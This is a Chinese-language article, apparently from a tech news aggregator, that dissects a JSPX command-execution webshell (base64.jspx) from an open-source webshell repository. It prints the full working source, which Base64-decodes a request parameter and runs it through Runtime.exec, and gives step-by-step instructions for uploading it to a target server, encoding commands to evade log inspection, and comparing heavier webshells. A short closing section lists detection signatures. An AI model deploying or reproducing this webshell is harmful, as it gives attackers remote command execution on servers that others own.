首页/新闻资讯/正文详情

JSPX 环境下 Base64 编码命令执行 WebShell 深度解析:Ends 版 base64.jspx 的编码原理、源码拆解与实战部署

发布时间:2026/9/24 22:19:31 来源:云帆数科 栏目:资讯中心
JSPX 环境下 Base64 编码命令执行 WebShell 深度解析:Ends 版 base64.jspx 的编码原理、源码拆解与实战部署
网络安全渗透测试【免费下载链接】webshellThis is a webshell open source project项目地址https://gitcode.com/gh_mirrors/we/webshell点击查看免费下载本文以仓库 jspx/Ends/Readme.md 为线索完整解析其配套源码 jspx/Ends/base64.jspx.txt这是一个基于 JSPXJSP Document语法实现的命令执行 WebShell所有待执行命令必须先做 Base64 编码后通过str参数传入。读完本文你将掌握该 WebShell 的调用方式、Base64 命令编码方法、逐行源码实现原理以及它在仓库同类 JSPX 样本中的定位与对应的检测防御思路。一、核心用法一条参数执行任意命令关联文档 Readme.md 给出的完整调用方式非常简洁只有两行 Demohttp://ends.cc/webshell/base64.jspx?strbase64(cmd) http://ends.cc/webshell/base64.jspx?strd2hvYW1p # d2hvYW1p base64(whoami)其中第二个示例已经给出可实际验证的编码值d2hvYW1p正是字符串whoami的 Base64 编码。也就是说请求参数str参数内容目标命令字符串的 Base64 编码执行结果命令的标准输出逐行回显到响应页面每行以br/结尾部署后对应的请求即等价于在服务器上执行whoami并回显当前操作系统用户。由于命令被 Base64 编码strwhoami这类明文命令特征被抹掉日志中留下的是一串无明显语义的 Base64 字符——这正是该样本的设计意图所在。二、Base64 编码生成从命令到参数d2hvYW1p之所以等于base64(whoami)可以用任意平台工具复现# Linux / macOS echo -n whoami | base64 # 输出: d2hvYW1p# Windows PowerShell [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(whoami))要点有两个echo必须加-n不能带入换行符否则编码结果会多出Cg尾巴编码目标是一整条命令字符串含参数例如whoami /all、ipconfig、ls -la需要先拼成完整字符串再整体编码因为源码内部是把解码后的整串直接交给Runtime.exec()执行的。三、源码逐行拆解base64.jspx 的实现原理仓库中保存的文件名为 jspx/Ends/base64.jspx.txt部署时去掉.txt后缀即为base64.jspx。完整源码如下共 24 行jsp:root xmlns:jsphttp://java.sun.com/JSP/Page xmlnshttp://www.w3.org/1999/xhtml xmlns:chttp://java.sun.com/jsp/jstl/core version2.0 jsp:directive.page contentTypetext/html;charsetUTF-8 pageEncodingUTF-8/ jsp:directive.page importjava.util.*/ jsp:directive.page importjava.io.*/ jsp:directive.page importsun.misc.BASE64Decoder/ jsp:scriptlet![CDATA[ String tmp pageContext.getRequest().getParameter(str); if (tmp ! null!.equals(tmp)) { try{ String str new String((new BASE64Decoder()).decodeBuffer(tmp)); Process p Runtime.getRuntime().exec(str); InputStream in p.getInputStream(); BufferedReader br new BufferedReader(new InputStreamReader(in,GBK)); String brs br.readLine(); while(brs!null){ out.println(brs/br); brs br.readLine(); } }catch(Exception ex){ out.println(ex.toString()); } }]] /jsp:scriptlet /jsp:root1. JSPX 语法外壳与传统的% ... %JSP 不同JSPX 采用 XML 文档JSP Document格式最外层是jsp:root根节点并声明version2.0。这种写法让文件可以附带合法的 XML 声明、在部分只检查“是否含%”或按 XML 解析的上传场景中更易通过也是该样本选择 JSPX 而非 JSP 的直接原因。2. 依赖导入第 2-5 行java.util.*、java.io.*为InputStream、BufferedReader、Runtime等提供支持sun.misc.BASE64DecoderJDK 内部 API 中的 Base64 解码器用于把str参数还原成明文命令。值得注意的兼容性限制sun.misc是 JDK 内部包在 JDK 8 及更早版本中可直接使用从 JDK 9 起模块系统默认不导出内部 APIsun.misc.BASE64Decoder可能触发IllegalAccessError。因此该样本的实际运行环境以 JDK 8 及更早版本的容器Tomcat、WebLogic 等为常见前提这一点可从 import 语句直接推断。3. 参数获取与空值校验第 7-8 行String tmp pageContext.getRequest().getParameter(str); if (tmp ! null !.equals(tmp)) { ... }通过pageContext.getRequest()拿到HttpServletRequest读取str参数参数缺失或为空字符串时直接跳过执行页面返回空白——这既是健壮性处理也起到了一定的“未带正确参数不响应”的隐蔽效果。4. Base64 解码与命令执行第 10-11 行String str new String((new BASE64Decoder()).decodeBuffer(tmp)); Process p Runtime.getRuntime().exec(str);解码后的字符串被直接交给Runtime.getRuntime().exec(str)。注意这里调用的是单参数版本Java 内部会按空白符空格、Tab 等把整条命令拆分为程序名与参数列表因此“命令带多个参数”可以正常工作但遇到引号包裹的复杂路径或需要管道、重定向的语句如cmd /c whoami | findstr x会因缺少 Shell 解释而失效——这是从exec单参数重载的语义可以明确推出的行为边界。5. 输出回显与编码适配第 12-18 行InputStream in p.getInputStream(); BufferedReader br new BufferedReader(new InputStreamReader(in,GBK)); String brs br.readLine(); while(brs!null){ out.println(brs/br); brs br.readLine(); }逐行读取子进程的标准输出每行追加/br后写出形成浏览器可读的回显显式指定GBK字符集读取是针对 Windows 平台cmd默认GBK/GB2312输出编码的适配在纯 Linux 环境下 UTF-8 输出可能被错误解码而出现乱码这是该样本面向 Windows 目标的设计特征。6. 异常处理第 19-21 行}catch(Exception ex){ out.println(ex.toString()); }任何异常解码失败、命令不存在、JDK 内部 API 不可用等都会以ex.toString()形式回显便于调用方在浏览器中直接看到失败原因属于典型的“面向攻击者调试友好”写法。四、部署与调用实操改名部署将 base64.jspx.txt 重命名为base64.jspx后上传到目标 Web 应用可写目录如 Web 根目录下的webshell/编码命令用第二节的方法生成str参数值例如whoami→d2hvYW1p发起请求http://target/webshell/base64.jspx?strd2hvYW1p观察回显响应页面直接输出命令结果如当前用户名多行输出以br/分隔。若请求后返回空白请依次检查文件是否已去掉.txt后缀并编译成功可通过访问是否返回 500 判断、str参数是否拼写正确、目标 JDK 版本是否支持sun.misc.BASE64Decoder。五、仓库内同类 JSPX 样本横向对比Ends/base64.jspx.txt 并非仓库唯一的 JSPX 命令执行样本将其与jspx/目录下其他文件对比可以更清晰地看出“编码免杀”与“功能完整度”之间的取舍样本文件执行参数特征亮点局限Ends/base64.jspx.txtstrBase64 编码命令命令 Base64 化日志无明文命令带 GBK 输出适配与异常回显依赖 JDK 8 及以下内部 APIcmd.jspxi明文命令代码最短仅 6 行无输出回显且明文命令直接落日志jw.jspxi明文命令需pwdsin带密码校验输出包在pre中密码固定写在源码里明文命令paxmac.jspxpaxmac明文命令标准 JSPX XML 文档逐字节输出并waitFor明文命令无鉴权jspx.jspx密码Pwd023功能码A-Q多功能大马文件浏览/下载/上传/复制/目录树、多数据库连接与查询、远程下载、执行命令单文件体积大、功能码多静态特征明显jspspy.jspx密码xxxxxx操作码o完整功能型 Shell文件管理、端口扫描、在线虚拟终端、数据库操作、JAR/ZIP 解压源码 3000 行特征密度极高从这一横向对比可以看出base64.jspx走的是“轻量 编码混淆 输出回显”路线在功能完整度上远不及 jspspy.jspx 这类大马但单文件极小、无内嵌明文命令是其被单独收录并配有独立 Readme 的原因。六、从源码出发的检测与防御思路基于上述源码结构可归纳出可落地的检测特征供防御方参考静态特征同时出现jsp:root、sun.misc.BASE64Decoder、Runtime.getRuntime().exec、getParameter(str)的组合脚本化扫描可对 jspx/jsp 文件提取 import 与 exec 调用做关联告警请求特征对*.jspx接口的str参数值做 Base64 解码后匹配命令关键词whoami、cmd、/bin/sh等日志检索strd2hvYW1p这类“解码后为单命令”的高频短编码运行环境Runtime.exec单参数重载意味着命令不含管道/重定向若检测到请求解码后包含|、等字符却仍成功回显可推断目标可能另接 Shell 包装应联动审计JDK 版本约束目标 JDK 9 上sun.misc.BASE64Decoder默认不可用检测方可把“JDK 8 及以下 jspx 可写目录”作为高危面优先收敛。七、小结jspx/Ends/Readme.md 虽只有寥寥数行但其指向的 base64.jspx.txt 是一个麻雀虽小五脏俱全的样本通过 JSPX XML 语法包装、str参数承载 Base64 编码命令、sun.misc.BASE64Decoder解码、Runtime.exec执行、GBK流式回显构成了一条完整的“编码传输 → 解码执行 → 结果回显”链路。理解这条链路既能掌握此类 JSPX 样本的调用与部署方法也能为同源变体的检测与防御提供直接依据。赞分享网络安全渗透测试【免费下载链接】webshellThis is a webshell open source project项目地址https://gitcode.com/gh_mirrors/we/webshell点击查看免费下载相关推荐SerenityOS base64 命令完全指南编码解码实战与 AK::Base64 底层实现解析SerenityOS base64 命令完全指南编码解码实战与 AK::Base64 底层实现解析 导读 本文以 SerenityOS 系统自带 base64操作系统内核驱动WebShell 免杀实战PHP 版本差异、JSPX CDATA 与 ASPX 编码变形的对抗思路WebShell 免杀实战PHP 版本差异、JSPX CDATA 与 ASPX 编码变形的对抗思路 导读 本文整理自安全社区技术文章《几种实战成功过的webs网络安全渗透测试RouterSploit Perl Base64 编码器encoders/perl/base64原理与实战指南RouterSploit Perl Base64 编码器encoders/perl/base64原理与实战指南 导读 本文围绕 RouterSploit 项网络安全嵌入式上一篇IDM开源激活工具终极指南免费延长试用期的完整解决方案下一篇HelloWord-Keyboard终极固件烧录指南5步解决新手最常见问题创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关推荐

Koin 注解迁移指南:从 KSP 处理器迁移到 Koin Compiler Plugin
Koin 注解迁移指南:从 KSP 处理器迁移到 Koin Compiler Plugin

后端 【免费下载链接】koin Koin - a pragmatic lightweight dependency injection framework for Kotlin & Kotlin Multiplatform 项目地址: https://gitcode.com/gh_mirrors/ko/koin 点击查看 免费下载 本文档面向正在使用 koin-ksp-compiler(KSP… · 2026/9/24 22:19:31

Rokid AIUI实战:语音与陀螺仪操控推箱子游戏开发
Rokid AIUI实战:语音与陀螺仪操控推箱子游戏开发

1. 为什么我会在Rokid AIUI上折腾一个推箱子推箱子这个游戏,年纪稍微大一点的玩家都不陌生。规则简单到一句话就能说清:把所有箱子推到目标点上。但真正玩起来,尤其是关卡复杂之后,那种"一步错、步步错"的压迫感&#x… · 2026/9/24 22:19:24

网页字体优化实战:TTF转WOFF2实现高效压缩与性能提升
网页字体优化实战:TTF转WOFF2实现高效压缩与性能提升

1. 为什么我建议你赶紧把TTF换成WOFF2先别急着下载工具,我先把话说清楚。你手里的TTF字体,放到Web页面上用,十有八九是要吃亏的。这不是说TTF本身不好,而是它生错了时代——TTF诞生的时候,压根没有“网页加载性能”这个… · 2026/9/24 22:19:24

RFC中文文档大全:网络协议工程师的离线决策支持系统
RFC中文文档大全:网络协议工程师的离线决策支持系统

简介:本资源为RFC中文文档大全压缩包,面向网络开发工程师、系统管理员及协议学习者,解决英文RFC阅读门槛高、标准理解不直观等实际问题。包内共475个文件,以473个txt文本为主(含RFC 1155、2460、2459、2021等核心协议中… · 2026/9/24 23:02:20

Spring Boot + Vue 前后端分离全栈开发实战指南
Spring Boot + Vue 前后端分离全栈开发实战指南

做全栈开发这几年,被问得最多的一个问题就是:Spring Boot和Vue到底怎么配合起来?很多人单独学后端、单独学前端都没问题,一到了自己从头搭一个前后端分离的项目,就卡在跨域、登录态、接口对接这些地方。这篇指南就是把… · 2026/9/24 23:02:20

AgentScope实战指南:多智能体编排、分布式部署与Java集成
AgentScope实战指南:多智能体编排、分布式部署与Java集成

1. 为什么我会推荐AgentScope——从一个多智能体项目说起先说说我最近手头的一个活儿。客户要做一个智能客服升级项目,表面上是一个客服,背后实际需要调度意图识别、知识库检索、情绪分析、工单生成、二次回访等至少六七个独立的智能体协作。最开始我图省… · 2026/9/24 23:02:20

公寓租赁系统毕设全攻略:SpringBoot+Vue前后端分离实战解析
公寓租赁系统毕设全攻略:SpringBoot+Vue前后端分离实战解析

公寓租赁系统这个题目,在计算机毕设里属于那种看起来平平无奇、但实际做起来非常能体现综合能力的选题。它不像“基于深度学习的图像识别”那样听起来高大上,也不像“网上商城系统”那样已经被做烂了,而是恰好卡在“业务逻辑有一定复杂度”和… · 2026/9/24 23:02:20

Lenav:轻量级命令行目录导航工具,打造个性化终端工作流
Lenav:轻量级命令行目录导航工具,打造个性化终端工作流

1. 从“路径苦手”到“秒切目录”:为什么我会写Lenav先说说这个工具解决的真实痛点。如果你每天要辗转十几个项目目录,大概率经历过这样的场景:上午在/var/www/html/project-a里改接口,下午切到/home/user/work/client-b/frontend… · 2026/9/24 23:02:13

品牌新闻发稿全攻略:从写稿到渠道选择的实操指南
品牌新闻发稿全攻略:从写稿到渠道选择的实操指南

1. 先搞清楚:品牌新闻发稿到底在“发”什么1.1 它不是广告,而是“借媒体的嘴说出你的好”我见过太多新人把品牌新闻稿写成产品说明书,第一段“本公司成立于某年”,第二段“产品具有五大优势”,第三段“欢迎选购”。这种… · 2026/9/24 23:02:13

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程
基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为… · 2026/9/24 0:00:13

1D-CNN时间序列建模实战:从Conv1d原理到工业落地
1D-CNN时间序列建模实战:从Conv1d原理到工业落地

简介:面向时间序列数据建模的一维卷积神经网络完整实现,适合深度学习入门者及需要快速验证时序模型的研究者,能够从音频、文本、传感器或股价等序列中挖掘局部特征与时间依赖。压缩包体积很小,只有3KB,内含3个Python脚… · 2026/9/24 0:00:26

柔软的L:汉语语流中被忽视的舌肌张力控制
柔软的L:汉语语流中被忽视的舌肌张力控制

1. 这个“L”不是字母表里的L,而是舌尖上的L最近在几个方言群和语音教学社群里,反复看到有人发一句:“也说字母L:柔软的长舌”。初看以为是英语发音课笔记,点开才发现全是方言爱好者、播音系学生、语言康复师甚至戏曲演… · 2026/9/24 0:00:44

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码